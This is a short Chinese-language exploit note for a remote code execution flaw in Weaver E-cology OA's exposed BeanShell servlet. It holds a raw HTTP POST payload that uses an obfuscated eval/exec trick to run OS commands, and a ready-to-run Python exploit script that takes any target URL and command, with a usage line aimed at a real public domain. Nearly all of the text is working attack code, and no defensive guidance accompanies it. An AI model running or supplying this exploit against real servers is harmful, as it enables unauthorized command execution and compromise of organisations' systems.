泛微E-cology OA 远程代码执行漏洞

分析文章：https://dwz.cn/bYtnsKwa

http://127.0.0.1/weaver/bsh.servlet.BshServlet

若存在如上页面，则用下面数据包进行测试。

POST  / weaver / bsh.servlet.BshServlet HTTP / 1.1 Host: 127.0 . 0.1 : 8080 Content - Length:  151 Cache - Control:  max - age = 0 Origin: http: / / 127.0 . 0.1 : 8080 Upgrade - Insecure - Requests:  1 Content - Type : application / x - www - form - urlencoded User - Agent: Mozilla / 5.0  (Windows NT  10.0 ; Win64; x64) AppleWebKit / 537.36  (KHTML, like Gecko) Chrome / 76.0 . 3809.132  Safari / 537.36 Accept: text / html,application / xhtml + xml,application / xml;q = 0.9 ,image / webp,image / apng, * / * ;q = 0.8 ,application / signed - exchange;v = b3 Referer: http: / / 127.0 . 0.1 : 8080 Accept - Encoding: gzip, deflate Accept - Language: zh - CN,zh;q = 0.9 ,en;q = 0.8 Cookie: JSESSIONID = abc17Hyv4HXw_6_hyXo1w; testBanCookie = test Connection: close   bsh.script = eval % 00 ( "ex" % 2b "ec(bsh.httpServletRequest.getParameter(\"command\"))" );&bsh.servlet.captureOutErr = true&bsh.servlet.output = raw&command = whoami

EXP:

useage:python rce.py http://www.baidu.com whoami

#!/usr/bin/env python
import requests
import sys
 
headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Content-Type': 'application/x-www-form-urlencoded'
}
 
def exploit(url,cmd):
    target=url+'/weaver/bsh.servlet.BshServlet'
    payload='bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd)
    res=requests.post(url=target,data=payload,headers=headers,timeout=10)
    res.encoding=res.apparent_encoding
    print(res.text)
 
if __name__ == '__main__':
    url=sys.argv[1]
    cmd=sys.argv[2]
    exploit(url,cmd)